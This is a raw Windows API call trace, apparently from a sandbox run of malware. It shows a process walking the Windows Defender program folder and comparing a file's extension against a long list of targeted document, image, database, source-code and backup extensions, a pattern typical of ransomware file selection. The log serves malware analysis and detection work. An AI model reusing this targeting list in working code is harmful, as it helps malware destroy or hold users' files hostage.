(in: hFindFile=0x3f58c0, lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0145.737] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0145.738] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.738] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0145.738] lstrlenW (lpString="C:\\Program Files\\Windows Defender\\en-US") returned 39 [0145.738] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Windows Defender\\en-US") returned 1 [0145.738] lstrlenW (lpString="en-US") returned 5 [0145.738] lstrcmpiW (lpString1="C:\\Windows", lpString2="en-US") returned -1 [0145.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x4192068 [0145.738] lstrlenW (lpString="C:\\Program Files\\Windows Defender\\en-US") returned 39 [0145.738] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.738] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.738] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0145.738] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16 [0145.738] lstrlenW (lpString=".1cd") returned 4 [0145.738] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0145.738] lstrlenW (lpString=".3ds") returned 4 [0145.738] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0145.738] lstrlenW (lpString=".3fr") returned 4 [0145.738] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0145.738] lstrlenW (lpString=".3g2") returned 4 [0145.738] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0145.738] lstrlenW (lpString=".3gp") returned 4 [0145.739] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0145.739] lstrlenW (lpString=".7z") returned 3 [0145.739] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0145.739] lstrlenW (lpString=".accda") returned 6 [0145.739] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1 [0145.739] lstrlenW (lpString=".accdb") returned 6 [0145.739] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1 [0145.739] lstrlenW (lpString=".accdc") returned 6 [0145.739] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1 [0145.739] lstrlenW (lpString=".accde") returned 6 [0145.739] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1 [0145.739] lstrlenW (lpString=".accdt") returned 6 [0145.739] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1 [0145.739] lstrlenW (lpString=".accdw") returned 6 [0145.739] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1 [0145.739] lstrlenW (lpString=".adb") returned 4 [0145.739] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0145.739] lstrlenW (lpString=".adp") returned 4 [0145.739] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0145.739] lstrlenW (lpString=".ai") returned 3 [0145.739] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0145.739] lstrlenW (lpString=".ai3") returned 4 [0145.739] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0145.739] lstrlenW (lpString=".ai4") returned 4 [0145.739] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0145.739] lstrlenW (lpString=".ai5") returned 4 [0145.739] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0145.739] lstrlenW (lpString=".ai6") returned 4 [0145.739] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0145.739] lstrlenW (lpString=".ai7") returned 4 [0145.740] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0145.740] lstrlenW (lpString=".ai8") returned 4 [0145.740] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0145.740] lstrlenW (lpString=".anim") returned 5 [0145.740] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1 [0145.740] lstrlenW (lpString=".arw") returned 4 [0145.740] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0145.740] lstrlenW (lpString=".as") returned 3 [0145.740] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0145.740] lstrlenW (lpString=".asa") returned 4 [0145.740] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0145.740] lstrlenW (lpString=".asc") returned 4 [0145.740] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0145.740] lstrlenW (lpString=".ascx") returned 5 [0145.740] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1 [0145.740] lstrlenW (lpString=".asm") returned 4 [0145.740] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0145.740] lstrlenW (lpString=".asmx") returned 5 [0145.740] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1 [0145.740] lstrlenW (lpString=".asp") returned 4 [0145.740] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0145.740] lstrlenW (lpString=".aspx") returned 5 [0145.740] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1 [0145.740] lstrlenW (lpString=".asr") returned 4 [0145.740] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0145.740] lstrlenW (lpString=".asx") returned 4 [0145.740] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0145.740] lstrlenW (lpString=".avi") returned 4 [0145.740] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0145.740] lstrlenW (lpString=".avs") returned 4 [0145.740] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0145.740] lstrlenW (lpString=".backup") returned 7 [0145.740] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1 [0145.740] lstrlenW (lpString=".bak") returned 4 [0145.741] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0145.741] lstrlenW (lpString=".bay") returned 4 [0145.741] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0145.741] lstrlenW (lpString=".bd") returned 3 [0145.741] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0145.741] lstrlenW (lpString=".bin") returned 4 [0145.741] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0145.741] lstrlenW (lpString=".bmp") returned 4 [0145.741] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0145.741] lstrlenW (lpString=".bz2") returned 4 [0145.741] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0145.741] lstrlenW (lpString=".c") returned 2 [0145.741] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0145.741] lstrlenW (lpString=".cdr") returned 4 [0145.741] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0145.741] lstrlenW (lpString=".cer") returned 4 [0145.741] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0145.741] lstrlenW (lpString=".cf") returned 3 [0145.741] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0145.741] lstrlenW (lpString=".cfc") returned 4 [0145.741] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0145.741] lstrlenW (lpString=".cfm") returned 4 [0145.741] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0145.741] lstrlenW (lpString=".cfml") returned 5 [0145.741] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1 [0145.741] lstrlenW (lpString=".cfu") returned 4 [0145.741] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0145.741] lstrlenW (lpString=".chm") returned 4 [0145.741] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0145.741] lstrlenW (lpString=".cin") returned 4 [0145.741] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0145.741] lstrlenW (lpString=".class") returned 6 [0145.741] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1 [0145.741] lstrlenW (lpString=".clx") returned 4 [0145.741] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0145.742] lstrlenW (lpString=".config") returned 7 [0145.742] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1 [0145.742] lstrlenW (lpString=".cpp") returned 4 [0145.742] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0145.742] lstrlenW (lpString=".cr2") returned 4 [0145.742] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0145.742] lstrlenW (lpString=".crt") returned 4 [0145.742] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0145.742] lstrlenW (lpString=".crw") returned 4 [0145.742] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0145.742] lstrlenW (lpString=".cs") returned 3 [0145.742] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0145.742] lstrlenW (lpString=".css") returned 4 [0145.742] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0145.742] lstrlenW (lpString=".csv") returned 4 [0145.742] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0145.742] lstrlenW (lpString=".cub") returned 4 [0145.742] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0145.742] lstrlenW (lpString=".dae") returned 4 [0145.742] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0145.742] lstrlenW (lpString=".dat") returned 4 [0145.742] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0145.742] lstrlenW (lpString=".db") returned 3 [0145.742] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0145.742] lstrlenW (lpString=".dbf") returned 4 [0145.742] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0145.742] lstrlenW (lpString=".dbx") returned 4 [0145.742] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0145.742] lstrlenW (lpString=".dc3") returned 4 [0145.742] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0145.742] lstrlenW (lpString=".dcm") returned 4 [0145.742] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0145.742] lstrlenW (lpString=".dcr") returned 4 [0145.742] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0145.743] lstrlenW (lpString=".der") returned 4 [0145.743] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0145.743] lstrlenW (lpString=".dib") returned 4 [0145.743] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0145.743] lstrlenW (lpString=".dic") returned 4 [0145.743] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0145.743] lstrlenW (lpString=".dif") returned 4 [0145.743] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0145.743] lstrlenW (lpString=".divx") returned 5 [0145.743] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1 [0145.743] lstrlenW (lpString=".djvu") returned 5 [0145.743] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1 [0145.743] lstrlenW (lpString=".dng") returned 4 [0145.743] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0145.743] lstrlenW (lpString=".doc") returned 4 [0145.743] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0145.743] lstrlenW (lpString=".docm") returned 5 [0145.743] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1 [0145.743] lstrlenW (lpString=".docx") returned 5 [0145.743] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0145.743] lstrlenW (lpString=".dot") returned 4 [0145.743] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0145.743] lstrlenW (lpString=".dotm") returned 5 [0145.743] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1 [0145.743] lstrlenW (lpString=".dotx") returned 5 [0145.743] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1 [0145.743] lstrlenW (lpString=".dpx") returned 4 [0145.743] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0145.743] lstrlenW (lpString=".dqy") returned 4 [0145.743] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0145.743] lstrlenW (lpString=".dsn") returned 4 [0145.743] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0145.743] lstrlenW (lpString=".dt") returned 3 [0145.743] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0145.744] lstrlenW (lpString=".dtd") returned 4 [0145.744] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0145.744] lstrlenW (lpString=".dwg") returned 4 [0145.744] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0145.744] lstrlenW (lpString=".dwt") returned 4 [0145.744] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0145.744] lstrlenW (lpString=".dx") returned 3 [0145.744] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0145.744] lstrlenW (lpString=".dxf") returned 4 [0145.744] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0145.744] lstrlenW (lpString=".edml") returned 5 [0145.744] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1 [0145.744] lstrlenW (lpString=".efd") returned 4 [0145.744] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0145.744] lstrlenW (lpString=".elf") returned 4 [0145.744] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0145.744] lstrlenW (lpString=".emf") returned 4 [0145.744] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0145.744] lstrlenW (lpString=".emz") returned 4 [0145.744] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0145.744] lstrlenW (lpString=".epf") returned 4 [0145.744] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0145.744] lstrlenW (lpString=".eps") returned 4 [0145.744] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0145.744] lstrlenW (lpString=".epsf") returned 5 [0145.744] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1 [0145.744] lstrlenW (lpString=".epsp") returned 5 [0145.744] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1 [0145.744] lstrlenW (lpString=".erf") returned 4 [0145.744] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0145.744] lstrlenW (lpString=".exr") returned 4 [0145.744] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0145.744] lstrlenW (lpString=".f4v") returned 4 [0145.744] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0145.745] lstrlenW (lpString=".fido") returned 5 [0145.745] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1 [0145.745] lstrlenW (lpString=".flm") returned 4 [0145.745] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0145.745] lstrlenW (lpString=".flv") returned 4 [0145.745] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0145.745] lstrlenW (lpString=".frm") returned 4 [0145.745] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0145.745] lstrlenW (lpString=".fxg") returned 4 [0145.745] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0145.745] lstrlenW (lpString=".geo") returned 4 [0145.745] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0145.745] lstrlenW (lpString=".gif") returned 4 [0145.745] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0145.745] lstrlenW (lpString=".grs") returned 4 [0145.745] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0145.745] lstrlenW (lpString=".gz") returned 3 [0145.745] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0145.745] lstrlenW (lpString=".h") returned 2 [0145.745] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0145.745] lstrlenW (lpString=".hdr") returned 4 [0145.745] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0145.745] lstrlenW (lpString=".hpp") returned 4 [0145.745] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0145.745] lstrlenW (lpString=".hta") returned 4 [0145.745] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0145.745] lstrlenW (lpString=".htc") returned 4 [0145.745] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0145.745] lstrlenW (lpString=".htm") returned 4 [0145.745] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0145.745] lstrlenW (lpString=".html") returned 5 [0145.745] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1 [0145.745] lstrlenW (lpString=".icb") returned 4 [0145.745] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0145.746] lstrlenW (lpString=".ics") returned 4 [0145.746] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0145.746] lstrlenW (lpString=".iff") returned 4 [0145.746] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0145.746] lstrlenW (lpString=".inc") returned 4 [0145.746] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0145.746] lstrlenW (lpString=".indd") returned 5 [0145.746] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1 [0145.746] lstrlenW (lpString=".ini") returned 4 [0145.746] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0145.746] lstrlenW (lpString=".iqy") returned 4 [0145.746] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0145.746] lstrlenW (lpString=".j2c") returned 4 [0145.746] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0145.746] lstrlenW (lpString=".j2k") returned 4 [0145.746] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0145.746] lstrlenW (lpString=".java") returned 5 [0145.746] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1 [0145.746] lstrlenW (lpString=".jp2") returned 4 [0145.746] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0145.746] lstrlenW (lpString=".jpc") returned 4 [0145.746] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0145.746] lstrlenW (lpString=".jpe") returned 4 [0145.746] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0145.746] lstrlenW (lpString=".jpeg") returned 5 [0145.746] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1 [0145.746] lstrlenW (lpString=".jpf") returned 4 [0145.746] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0145.746] lstrlenW (lpString=".jpg") returned 4 [0145.746] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0145.746] lstrlenW (lpString=".jpx") returned 4 [0145.746] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0145.746] lstrlenW (lpString=".js") returned 3 [0145.747] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0145.747] lstrlenW (lpString=".jsf") returned 4 [0145.747] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0145.747] lstrlenW (lpString=".json") returned 5 [0145.747] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1 [0145.747] lstrlenW (lpString=".jsp") returned 4 [0145.747] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0145.747] lstrlenW (lpString=".kdc") returned 4 [0145.747] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0145.747] lstrlenW (lpString=".kmz") returned 4 [0145.747] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0145.747] lstrlenW (lpString=".kwm") returned 4 [0145.747] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0145.747] lstrlenW (lpString=".lasso") returned 6 [0145.747] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1 [0145.747] lstrlenW (lpString=".lbi") returned 4 [0145.747] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0145.747] lstrlenW (lpString=".lgf") returned 4 [0145.747] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0145.747] lstrlenW (lpString=".lgp") returned 4 [0145.747] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0145.747] lstrlenW (lpString=".log") returned 4 [0145.747] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0145.747] lstrlenW (lpString=".m1v") returned 4 [0145.747] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0145.747] lstrlenW (lpString=".m4a") returned 4 [0145.747] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0145.747] lstrlenW (lpString=".m4v") returned 4 [0145.747] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0145.747] lstrlenW (lpString=".max") returned 4 [0145.747] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0145.747] lstrlenW (lpString=".md") returned 3 [0145.747] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0145.747] lstrlenW (lpString=".mda") returned 4 [0145.748] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mdb") returned 4 [0145.748] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mde") returned 4 [0145.748] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mdf") returned 4 [0145.748] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mdw") returned 4 [0145.748] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mef") returned 4 [0145.748] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mft") returned 4 [0145.748] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mfw") returned 4 [0145.748] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mht") returned 4 [0145.748] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mhtml") returned 6 [0145.748] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1 [0145.748] lstrlenW (lpString=".mka") returned 4 [0145.748] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mkidx") returned 6 [0145.748] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1 [0145.748] lstrlenW (lpString=".mkv") returned 4 [0145.748] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mos") returned 4 [0145.748] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mov") returned 4 [0145.748] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mp3") returned 4 [0145.748] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mp4") returned 4 [0145.748] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0145.748] lstrlenW (lpString=".mpeg") returned 5 [0145.749] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1 [0145.749] lstrlenW (lpString=".mpg") returned 4 [0145.749] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0145.749] lstrlenW (lpString=".mpv") returned 4 [0145.749] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0145.749] lstrlenW (lpString=".mrw") returned 4 [0145.749] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0145.749] lstrlenW (lpString=".msg") returned 4 [0145.749] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0145.749] lstrlenW (lpString=".mxl") returned 4 [0145.749] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0145.749] lstrlenW (lpString=".myd") returned 4 [0145.749] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0145.749] lstrlenW (lpString=".myi") returned 4 [0145.749] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0145.749] lstrlenW (lpString=".nef") returned 4 [0145.749] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0145.749] lstrlenW (lpString=".nrw") returned 4 [0145.749] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0145.749] lstrlenW (lpString=".obj") returned 4 [0145.749] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0145.749] lstrlenW (lpString=".odb") returned 4 [0145.749] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0145.749] lstrlenW (lpString=".odc") returned 4 [0145.749] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0145.749] lstrlenW (lpString=".odm") returned 4 [0145.749] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0145.749] lstrlenW (lpString=".odp") returned 4 [0145.749] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0145.749] lstrlenW (lpString=".ods") returned 4 [0145.749] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0145.749] lstrlenW (lpString=".oft") returned 4 [0145.749] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0145.750] lstrlenW (lpString=".one") returned 4 [0145.750] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0145.750] lstrlenW (lpString=".onepkg") returned 7 [0145.750] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1 [0145.750] lstrlenW (lpString=".onetoc2") returned 8 [0145.750] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1 